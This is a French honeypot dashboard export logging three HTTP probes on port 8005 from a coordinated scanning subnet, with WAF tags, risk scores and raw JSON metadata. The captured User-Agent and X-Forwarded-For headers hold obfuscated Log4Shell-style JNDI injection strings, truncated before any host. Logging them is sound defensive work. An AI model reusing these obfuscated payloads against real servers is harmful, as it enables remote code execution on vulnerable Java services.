Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
net_web_probe
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
8005
Chemin / cible
/
Preuve honeypot — Sonde port 8005/TCP
Connexion détectée sur le port 8005 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8005_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-/}${d28:owa:-/}${l:875b:-U}${v4fg:-A}${7i:-l}${8n:q6t:-0}${h0:2tzf:-c}${sy:--}${${pd:…
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
POST / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005
Accept: */*
User-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}
Requête brute (extrait)
POST / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005 Accept: */* User-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-/}${d28:owa:-/}${l:875b:-U}${v4fg:-A}${7i:-l}$
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "aa37cbcf7c0e95c7d9c30810adcb8f8d0b992ef5",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "7df79afc19f4c8532a298a450ad91443820c1929",
"http_method": "POST",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.807945729474341,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 2.5,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15
},
"risk_score": 45,
"tag_count": 4,
"anomaly_count": 0,
"campaign_key": "d8a428a24f43194cda0ceebc2c7986f0a6711232",
"event_fingerprint": "7891ec270244eba9e61e5e094b551709d7a18fb3",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "78d8cf6eac5ca35852b2698a3885613e",
"payload_hash": "81d532f63a810bca9fa5e8d4cbd45972",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 45
},
"payload_preview": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}",
"method": "POST",
"path": "\/",
"user_agent": "${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}${8n:q6t:-0}${h0:2tzf:-c}${sy:--}${${pd:af4:fp0:-s}${c:-y}${2b4j:5f:qsx:-s}${b:x:-:}${ay:-j}${ne\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}$",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}",
"evidence": {
"method": "POST",
"path": "\/",
"user_agent": "${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}${8n:q6t:-0}${h0:2tzf:-c}${sy:--}${${pd:af4:fp0:-s}${c:-y}${2b4j:5f:qsx:-s}${b:x:-:}${ay:-j}${ne\u2026",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "POST \/ HTTP\/1.1",
"request_sample": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d28:owa:-\/}${l:875b:-U}${v4fg:-A}${7i:-l}$",
"payload_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "d22bc16869be957de4cd78f701ee5d76ae8adb64",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}",
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 15,
"risk_score": 45,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "POST",
"http_path": "\/",
"request_line": "POST \/ HTTP\/1.1",
"http_user_agent": "${${uw30:2:c:-j}${wzq:-n}${r:-d}${b56:-i}${w7:-:}${kr:-l}${1vf7:bo:-d}${vxpn:-a}${lw8:-p}${j50n:g:-:}${6:9czs:2t:-\/}${d\u2026",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)",
"evidence_snippet": "POST \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: ${${uw30:2:c:-j}${wzq:-n}${r:-d}",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:12 UTC
TCP
8005 · HTTP
Sonde port 8005/TCP
port 8005 tcp · via HTTP:8005 · (sonde / probe)
Élevée
Moyen · 46
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
16
Recommandation
Surveiller
Tags
950326:rce-0
950470:nosqli-3
950734:sap-sapcontrol-path
http_auth_header_token
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8005
Chemin / cible
/
Preuve honeypot — Sonde port 8005/TCP
Connexion détectée sur le port 8005 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8005_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 46
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 3 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
SSRF Any-address SSRF
Ligne de requête
GET / HTTP/1.1
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005 Accept: */* User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 X-Forwarded-For: ${${lp:3xz:-j}${cv:m:41l:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 6,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.901116961975699,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 72,
"risk_classification": 48,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 3.6,
"risk_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 46,
"tag_count": 7,
"anomaly_count": 0,
"campaign_key": "833e8070f1920a191fc10b5529d877c8dd4dc318",
"event_fingerprint": "7891ec270244eba9e61e5e094b551709d7a18fb3",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162",
"pat-0324"
],
"matched_pattern_names": [
"CRS 933135",
"SSRF Any-address SSRF"
],
"pattern_ids": [
"pat-0162",
"pat-0324"
],
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 46,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "f7c5368ffb8b3cfeba382f3210023a0c",
"path_pattern_hash": "8a5edab282632443219e051e4ade2d1d"
},
"target_context": {
"dst_port": 8005,
"service": "http",
"service_name": "http",
"risk_score": 46
},
"payload_preview": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${lp:3xz:-j}${cv:m:41l:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"evidence": {
"method": "GET",
"path": "\/",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path"
],
"waf_rule_names": [
"rce-0",
"nosqli-3",
"sap-sapcontrol-path"
],
"request_line": "GET \/ HTTP\/1.1",
"request_sample": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\r\nX-Forwarded-For: ${${lp:3xz:-j}${cv:m:41l:",
"payload_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ca308bbf9afbee16aa8164367bdeddea9b7d7a07",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 46\/100",
"confidence_pct": 60,
"confidence_breakdown": {
"waf": 72,
"classification": 48,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 46,
"correlation_boost": 10
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 46,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8005,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +10",
"protocol_details": {
"http_method": "GET",
"http_path": "\/",
"request_line": "GET \/ HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 8005,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 8005 tcp \u00b7 via HTTP:8005 \u00b7 (sonde \/ probe)",
"evidence_snippet": "GET \/ HTTP\/1.1\r\nHost: ip-62-3-50-33.v4.isp.servpersosystems.net:8005\r\nAccept: *\/*\r\nUser-Agent: Mozilla\/5.0 (Macintosh; Intel Mac",
"target_port_label": "8005 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 3 tag(s) WAF",
"confidence_factors_fr": "Confiance 60 % \u2014 Score WAF 72 \u00b7 Bonus corr\u00e9lation +10 \u00b7 3 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.116.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8005"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"coordinated_scan": true,
"coordinated_subnet": "34.19.116.0\/24",
"coordinated_ip_count": 8,
"behavior_alerts": [
"coordinated_scan"
],
"correlation_confidence_boost": 10,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_monitor",
"tags_list": [
"950326:rce-0",
"950470:nosqli-3",
"950734:sap-sapcontrol-path",
"http_auth_header_token",
"http_bearer_auth",
"http_header_x-forwarded-for",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:34:08 UTC
TCP
8005 · HTTP
Sonde port 8005/TCP
port 8005 tcp · via HTTP:8005 · (sonde / probe)
Élevée
Moyen · 57
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
MITRE
TA0007
TA0007
TA0001
Protocole
GET / UA ${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:u…
Émulateur
HTTP
WAF
23
Recommandation
Investiguer
Tags
950326:rce-0
950382:rce-14
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
GET
/
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8005
Chemin / cible
/
Preuve honeypot — Sonde port 8005/TCP
Connexion détectée sur le port 8005 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_8005_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
60%
Corrélation +10
Risque capteur
Moyen
· 57
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
GET / HTTP/1.1
User-Agent
${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-/}${s:-/}${t5e:n027:-U}${h:-A}${4a1:-l}${moj:yg:-0}${zab:-c}${k:9…
Règles WAF
rce-0
rce-14
nosqli-3
sap-sapcontrol-path
Payload (extrait)
GET / HTTP/1.1
Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005
Accept: */*
User-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9
Requête brute (extrait)
GET / HTTP/1.1 Host: ip-62-3-50-33.v4.isp.servpersosystems.net:8005 Accept: */* User-Agent: ${${3qwy:-j}${t0ng:b4:-n}${rtij:9gn:-d}${h:-i}${s0:os:-:}${gl:ud:4l0t:-l}${ylrb:8gn:-d}${ky:-a}${h:id:y4jk:-p}${kmx:-:}${9j:7xr:hz3f:-/}${s:-/}${t5e:n027:-U}${h:
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 0,
"http_path_ext": null,
"http_ua_hash": "d4d5ec6723e6205cdc4b1046f9f747c458af39a8",
"http_host_hash": "474d34701ef094042bceaaeec604d0fd7a5f5a84",
"http_target_hash": "42099b4af021e53fd8fd4e056c2568d7c2e3ffa8",
"http_referer_hash": "dc389ea0c450be44c6eccc6f5a305af83d784884",
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 4096,
"payload_entropy": 4.772051779655615,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 8005,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 2.9,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 57,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "4764ef213e201b2e8d4360825fdbe8b372d61bb7",
"event_fingerprint": "7891ec270244eba9e61e5e094b551709d7a18fb3",
"classification_reason": "Type \u00ab port_8005_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.6,
"classification_confidence": 0.6,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 57,
"correlation_boost": 10
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
